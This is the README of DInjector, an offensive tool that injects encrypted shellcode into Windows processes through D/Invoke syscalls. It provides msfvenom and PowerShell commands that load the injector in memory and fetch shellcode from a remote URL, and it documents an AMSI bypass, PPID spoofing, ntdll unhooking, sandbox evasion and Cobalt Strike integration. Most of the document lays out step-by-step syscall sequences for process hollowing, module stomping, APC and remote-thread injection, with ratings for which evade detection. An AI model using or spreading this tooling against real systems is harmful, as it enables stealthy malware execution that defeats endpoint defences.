DInjector
( (
)\ ) )\ ) ) ( ( (
(()/((()/( ( ( ( /( ( )\ ))\ )\
/(_))/(_))( )\ ))\ ( )\())( )( (()/((_|(_)
(_))_(_)) )\ |(_)/((_))\(_))/ )\(()\ ((_)) _
| \_ _|_(_/( !(_)) ((_) |_ ((_)((_) _| | || |
| |) | || ' \)) / -_) _|| _/ _ \ '_| _/ _` | || |
|___/___|_||_|/ \___\__| \__\___/_| (_)__,_|_||_|
|__/-----------------------------------
K E E P
C A L M
A N D
D / I N đ E C T
S H E L L C O D E
This repository is an accumulation of code snippets for various shellcode injection techniques using fantastic D/Invoke API by @TheWover and @FuzzySecurity.
Features:
- Based entirely on D/Invoke API (using minified fork of DInvoke-dev)
- Encrypted payloads which can be invoked from a URL or passed in base64 as an argument
- Built-in AMSI bypass
- PPID Spoofing and block non-Microsoft DLLs (stolen from TikiTorch)
- Flexible adjustment options for memory protection values
- Simple sandbox detection & evasion
- Prime numbers calculation to emulate sleep for in-memory scan evasion
- Ntdll.dll unhooking
- Cobalt Strike integration
DISCLAIMER. All information contained in this repository is provided for educational and research purposes only. The author is not responsible for any illegal use of this tool.
Table of Contents
Basic Usage
- Compile the project in VS (or via OffensivePipeline).
- Generate a shellcode of your choice:
~$ msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f raw -o shellcode.bin
- Encrypt the shellcode:
~$ ./encrypt.py shellcode.bin -p 'Passw0rd!' -o enc
- Serve the encrypted shellcode:
~$ sudo python3 -m http.server 80
- Use the PowerShell download cradle to load DInjector.dll as
System.Reflection.Assembly
and execute it from memory.
Test it locally with PowerShell:
$bytes = [System.IO.File]::ReadAllBytes("C:\DInjector.dll")
$assem = [System.Reflection.Assembly]::Load($bytes)
[DInjector.Detonator]::Boom("remotethread /sc:http://10.10.13.37/enc /p:Passw0rd! /pid:1337 /am51:True")
Cobalt Strike Integration
In order to use DInjector from Cobalt Strike:
- Change project's output type to Console Application.
- Replace some strings:
$detonator = gc .\Detonator.cs
$detonator = $detonator -creplace "Boom", "Main"
$detonator = $detonator -creplace "Main\(string command\)", "Main(string[] args)"
$detonator = $detonator -creplace "var args = command.Split\(\);", "//var args = command.Split();"
$detonator > .\Detonator.cs
- Compile the assembly and put it next to the Aggressor script.
Arguments
Name | Techniques | Required | Default Value | Example Values | Description |
---|---|---|---|---|---|
/sc |
All | YES | - | http://10.10.13.37/enc |
Sets shellcode path (can be loaded from URL or as a base64 string). |
/p |
All | YES | - | Passw0rd! |
Sets password to decrypt the shellcode. |
/protect |
CurrentThread | NO | RX |
RX / RWX |
Sets memory protection for the shellcode. |
/timeout |
CurrentThread | NO | 0 (serve forever) |
5000 |
Sets timeout for WaitForSingleObject (ms). |
/flipSleep |
CurrentThread | NO | 0 (do NOT flip) |
10000 |
Sets time to sleep with PAGE_NOACCESS on shellcode (ms). |
/image |
RemoteThreadKernelCB, RemoteThreadAPC, RemoteThreadContext, ProcessHollowing, ModuleStomping | YES | - | C:\Windows\System32\svchost.exe , C:\Program*Files\Mozilla*Firefox\firefox.exe |
Sets path to the image of a newly spawned sacrifical process to inject into. If there're spaces in the image path, replace them with asterisk (*) characters. |
/pid |
RemoteThread, RemoteThreadDll, RemoteThreadView, RemoteThreadSuspended | YES | - | 1337 |
Sets existing process ID to inject into. |
/ppid |
RemoteThreadKernelCB, RemoteThreadAPC, RemoteThreadContext, ProcessHollowing, ModuleStomping | NO | 0 |
1337 |
Sets parent process ID to spoof the original value with. |
/dll |
RemoteThreadDll | YES | - | msvcp_win.dll |
Sets loaded DLL name to overwrite its .text section for storing the shellcode. |
/stompDll |
ModuleStomping | YES | - | xpsservices.dll |
Sets name of the DLL to stomp. |
/stompExport |
ModuleStomping | YES | - | DllCanUnloadNow |
Sets exported function name to overwrite. |
/sleep |
All | NO | 0 |
30 |
Sets number of seconds (approx.) to sleep before execution (10s-60s). |
/blockDlls |
RemoteThreadKernelCB, RemoteThreadAPC, RemoteThreadContext, ProcessHollowing, ModuleStomping | NO | False |
True / False |
Blocks 3rd-party (non-Microsoft) DLLs. |
/am51 |
All | NO | False |
True / False / Force |
Applies AMSI bypass in current process. amsi.dll can be loaded forcibly. |
/remoteAm51 |
RemoteThreadKernelCB, RemoteThreadAPC, RemoteThreadContext, ProcessHollowing, ModuleStomping, RemoteThreadKernelCB, RemoteThreadAPC, RemoteThreadContext, ProcessHollowing, ModuleStomping | NO | False |
True / False / Force |
Applies AMSI bypass in remote process. amsi.dll can be loaded forcibly. |
/unhook |
All | NO | False |
True / False |
Unhooks ntdll.dll (loads a clean copy from disk). |
Techniques
FunctionPointer
module_name: 'functionpointer'
arguments:
description: |
Allocates a RW memory region, copies the shellcode into it and executes it like a function.
api:
- dynamic_invocation:
- syscalls:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
- 'http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/'
- 'https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis'
- 'https://www.fergonez.net/post/shellcode-csharp'
FunctionPointerUnsafe
module_name: 'functionpointerunsafe'
arguments:
description: |
Sets RX on a byte array (treated as an unsafe pointer) and executes it like a function.
api:
- dynamic_invocation:
- syscalls:
1: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
- 'https://jhalon.github.io/utilizing-syscalls-in-csharp-2/'
- 'https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs'
ClipboardPointer
module_name: 'clipboardpointer'
arguments:
description: |
Copies shellcode bytes into the clipboard, sets RX on it and executes it like a function.
api:
- dynamic_invocation:
1: 'OpenClipboard'
2: 'SetClipboardData'
3: 'CloseClipboard'
- syscalls:
1: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: true
references:
- 'https://gist.github.com/Wra7h/69a03c802ae6977e74b1152a4b004515'
CurrentThread
module_name: 'currentthread'
arguments: |
/protect:RX
/timeout:5000
/flipSleep:10000
description: |
Injects shellcode into current process.
Thread execution via NtCreateThreadEx (& NtResumeThread).
api:
- dynamic_invocation:
1: '[TIMEOUT] WaitForSingleObject'
- syscalls:
1: 'NtAllocateVirtualMemory (allocProtect)'
2: 'NtProtectVirtualMemory (newProtect)'
3: 'NtCreateThreadEx'
4: '[FLIPSLEEP] NtProtectVirtualMemory (protect)'
5: '[FLIPSLEEP] NtResumeThread'
6: '[TIMEOUT] NtProtectVirtualMemory (PAGE_READWRITE)'
7: '[TIMEOUT] NtFreeVirtualMemory (shellcode)'
8: 'NtWaitForSingleObject'
9: 'NtClose'
opsec_safe: false
references:
- 'https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs'
âšī¸ Notes:
- When using 3rd-party loader-independent encoders which require RWX memory to decode the shellcode (like sgn, available via
--sgn
switch inencrypt.py
), you can use the/protect
option to set RWX (PAGE_EXECUTE_READWRITE,0x40
) value on the memory region where the shellcode resides. Default protection is RX (PAGE_EXECUTE_READ,0x20
). - Some C2 implants (like meterpreter and PoshC2 but not Cobalt Strike, for example) allow to clean up the memory region where the initial shellcode was triggered from without terminating the active session. For that purpose the
/timeout
option exists: when its value is non-zero, the operator forces theWaitForSingleObject
API call to time out initial shellcode execution in a specified number of milliseconds and then invoke the clean up routine to zero out the corresponding memory region and callNtFreeVirtualMemory
on it. - If you want to set initial protection for the memory region where the shellcode resides as NA (PAGE_NOACCESS,
0x01
) to evade potential in-memory scan, use the/flipSleep
option to delay thread execution for a specified amount of milliseconds (same as in RemoteThreadSuspended).
CurrentThreadUuid
module_name: 'currentthreaduuid'
arguments:
description: |
Injects shellcode into current process.
Thread execution via EnumSystemLocalesA.
api:
- dynamic_invocation:
1: 'HeapCreate'
2: 'UuidFromStringA'
3: 'EnumSystemLocalesA'
- syscalls:
opsec_safe: false
references:
- 'https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/'
- 'https://github.com/ChoiSG/UuidShellcodeExec/blob/main/USEConsole/Program.cs'
âšī¸ Notes:
- This technique is appliable for small-size payloads.
- Use
--uuid
switch inencrypt.py
to format the shellcode for this technique.
RemoteThread
module_name: 'remotethread'
arguments: |
/pid:1337
description: |
Injects shellcode into an existing remote process.
Thread execution via NtCreateThreadEx.
api:
- dynamic_invocation:
- syscalls:
1: 'NtOpenProcess'
2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
3: 'NtWriteVirtualMemory (shellcode)'
4: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
5: 'NtCreateThreadEx'
6: 'NtClose (x2)'
opsec_safe: false
references:
- 'https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs'
RemoteThreadDll
module_name: 'remotethreaddll'
arguments: |
/pid:1337
/dll:msvcp_win.dll
description: |
Injects shellcode into an existing remote process overwriting one of its loaded modules' .text section.
Thread execution via NtCreateThreadEx.
api:
- dynamic_invocation:
- syscalls:
1: 'NtOpenProcess'
2: 'NtWriteVirtualMemory (shellcode)'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
4: 'NtCreateThreadEx'
5: 'NtClose (x2)'
opsec_safe:
references:
- 'https://www.netero1010-securitylab.com/eavsion/alternative-process-injection'
RemoteThreadView
module_name: 'remotethreadview'
arguments: |
/pid:1337
description: |
Injects shellcode into an existing remote process.
Thread execution via RtlCreateUserThread.
api:
- dynamic_invocation:
1: 'RtlCreateUserThread'
- syscalls:
1: 'NtOpenProcess'
2: 'NtCreateSection (PAGE_EXECUTE_READWRITE)'
3: 'NtMapViewOfSection (PAGE_READWRITE)'
4: 'NtMapViewOfSection (PAGE_EXECUTE_READ)'
5: 'NtUnmapViewOfSection'
6: 'NtClose (x2)'
opsec_safe: false
references:
- 'https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Sections%20Shellcode%20Process%20Injector/Program.cs'
RemoteThreadSuspended
module_name: 'remotethreadsuspended'
arguments: |
/pid:1337
/flipSleep:10000
description: |
Injects shellcode into an existing remote process and flips memory protection to PAGE_NOACCESS.
After a short sleep (waiting until a possible AV scan is finished) the protection is flipped again to PAGE_EXECUTE_READ.
Thread execution via NtCreateThreadEx & NtResumeThread.
api:
- dynamic_invocation:
- syscalls:
1: 'NtOpenProcess'
2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
3: 'NtWriteVirtualMemory (shellcode)'
4: 'NtProtectVirtualMemory (PAGE_NOACCESS)'
5: 'NtCreateThreadEx (CREATE_SUSPENDED)'
6: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
7: 'NtResumeThread'
8: 'NtClose (x2)'
opsec_safe: true
references:
- 'https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/'
- 'https://github.com/plackyhacker/Suspended-Thread-Injection/blob/main/injection.cs'
RemoteThreadKernelCB
module_name: 'remotethreadkernelcb'
arguments: |
/image:C:\Windows\System32\notepad.exe
/ppid:31337
/blockDlls:True
/remoteAm51:True
description: |
Injects shellcode into a newly spawned sacrifical remote process.
Thread execution via SendMessageA.
api:
- dynamic_invocation:
1: 'WaitForInputIdle'
2: 'FindWindowExA'
3: 'SendMessageA'
- syscalls:
1: 'NtQueryInformationProcess'
2: 'NtReadVirtualMemory (kernelCallbackAddress)'
3: 'NtReadVirtualMemory (kernelCallbackValue)'
4: 'NtReadVirtualMemory (kernelStruct.fnCOPYDATA)'
5: 'NtProtectVirtualMemory (PAGE_READWRITE)'
6: 'NtWriteVirtualMemory (shellcode)'
7: 'NtProtectVirtualMemory (oldProtect)'
8: 'NtProtectVirtualMemory (PAGE_READWRITE)'
9: 'NtWriteVirtualMemory (origData)'
10: 'NtProtectVirtualMemory (oldProtect)'
11: 'NtClose (x2)'
opsec_safe:
references:
- 'https://t0rchwo0d.github.io/windows/Windows-Process-Injection-Technique-KernelCallbackTable/'
- 'https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/'
- 'https://gist.github.com/sbasu7241/5dd8c278762c6305b4b2009d44d60c13'
- 'https://captmeelo.com/redteam/maldev/2022/04/21/kernelcallbacktable-injection.html'
âšī¸ Notes:
- This technique requires a GUI process (e.g., notepad.exe) to inject into.
- Based on my testings a large payload (e.g., stageless meterpreter) will not work with this technique.
- The sacrifical process will crash anyways when the shellcode finishes its work.
RemoteThreadAPC
module_name: 'remotethreadapc'
arguments: |
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
/remoteAm51:True
description: |
Injects shellcode into a newly spawned sacrifical remote process.
Thread execution via NtQueueApcThread.
api:
- dynamic_invocation:
- syscalls:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtWriteVirtualMemory (shellcode)'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
4: 'NtOpenThread'
5: 'NtQueueApcThread'
6: 'NtAlertResumeThread'
7: 'NtClose (x2)'
opsec_safe: true
references:
- 'https://rastamouse.me/exploring-process-injection-opsec-part-2/'
- 'https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0'
RemoteThreadContext
module_name: 'remotethreadcontext'
arguments: |
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
/remoteAm51:True
description: |
Injects shellcode into a newly spawned sacrifical remote process.
Thread execution via SetThreadContext & NtResumeThread.
api:
- dynamic_invocation:
- syscalls:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtWriteVirtualMemory (shellcode)'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
4: 'NtCreateThreadEx (CREATE_SUSPENDED)'
5: 'GetThreadContext'
6: 'SetThreadContext'
7: 'NtResumeThread'
8: 'NtClose (x2)'
opsec_safe: true
references:
- 'https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/'
- 'https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs'
ProcessHollowing
module_name: 'processhollowing'
arguments: |
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
/remoteAm51:True
description: |
Injects shellcode into a newly spawned sacrifical remote process.
Thread execution via NtResumeThread (hollowing with shellcode).
api:
- dynamic_invocation:
- syscalls:
1: 'NtQueryInformationProcess'
2: 'NtReadVirtualMemory (ptrImageBaseAddress)'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE)'
4: 'NtWriteVirtualMemory (shellcode)'
5: 'NtProtectVirtualMemory (oldProtect)'
6: 'NtResumeThread'
7: 'NtClose (x2)'
opsec_safe: false
references:
- 'https://github.com/CCob/SharpBlock/blob/master/Program.cs'
ModuleStomping
module_name: 'modulestomping'
arguments: |
/image:C:\Windows\System32\svchost.exe
/stompDll:xpsservices.dll
/stompExport:DllCanUnloadNow
/ppid:31337
/blockDlls:True
/remoteAm51:True
description: |
Loads a trusted module from disk and overwrites one of its exported functions.
Thread execution via NtCreateThreadEx.
api:
- dynamic_invocation:
- syscalls:
1: 'NtAllocateVirtualMemory (bModuleNameLength, PAGE_READWRITE)'
2: 'NtAllocateVirtualMemory (shimLength, PAGE_READWRITE)'
3: 'NtWriteVirtualMemory (bModuleName)'
4: 'NtWriteVirtualMemory (shim)'
5: 'NtProtectVirtualMemory (shim, PAGE_EXECUTE_READ)'
6: 'NtCreateThreadEx (shim)'
7: 'NtWaitForSingleObject'
8: 'NtFreeVirtualMemory (allocModule)'
9: 'NtFreeVirtualMemory (allocShim)'
10: 'NtProtectVirtualMemory (shellcode, PAGE_READWRITE)'
11: 'NtWriteVirtualMemory (shellcode)'
12: 'NtProtectVirtualMemory (shellcode, PAGE_EXECUTE_READ)'
13: 'NtCreateThreadEx (shellcode)'
14: 'NtClose (x3)'
opsec_safe: true
references:
- 'https://offensivedefence.co.uk/posts/module-stomping/'
- 'https://github.com/rasta-mouse/TikiTorch/blob/master/TikiLoader/Stomper.cs'
Utils
AM51
module_name: 'all'
arguments:
description:
api:
- dynamic_invocation:
- syscalls:
1: '[FORCE] NtAllocateVirtualMemory (libNameLength, PAGE_READWRITE)'
2: '[FORCE] NtWriteVirtualMemory (bLibName)'
3: '[FORCE] NtCreateThreadEx (LoadLibraryA)'
4: 'NtProtectVirtualMemory (PAGE_READWRITE)'
5: '[REMOTE] NtWriteVirtualMemory (patch)'
6: 'NtProtectVirtualMemory (oldProtect)'
opsec_safe:
references:
SpawnProcess
module_name: |
remotethreadkernelcb
remotethreadapc
remotethreadcontext
processhollowing
modulestomping
arguments:
description:
api:
- dynamic_invocation:
1: 'InitializeProcThreadAttributeList'
2: '[BLOCKDLLS] UpdateProcThreadAttribute'
3: '[PPID] UpdateProcThreadAttribute'
4: 'CreateProcessA'
- syscalls:
opsec_safe:
references:
- 'https://offensivedefence.co.uk/posts/ppidspoof-blockdlls-dinvoke/'
Unhooker
module_name: 'all'
arguments:
description:
api:
- dynamic_invocation:
1: 'VirtualProtect (PAGE_EXECUTE_READWRITE)'
2: 'CopyMemory'
3: 'VirtualProtect (oldProtect)'
- syscalls:
opsec_safe:
references:
- 'https://github.com/TheWover/DInvoke/blob/0530886deebd1a2e5bd8b9eb8e1d8ce87f4ca5e4/DInvoke/DInvoke/DynamicInvoke/Generic.cs'
Credits
- @TheWover and @FuzzySecurity for their awesome DInvoke project.
- All those great researchers mentioned in technique references above.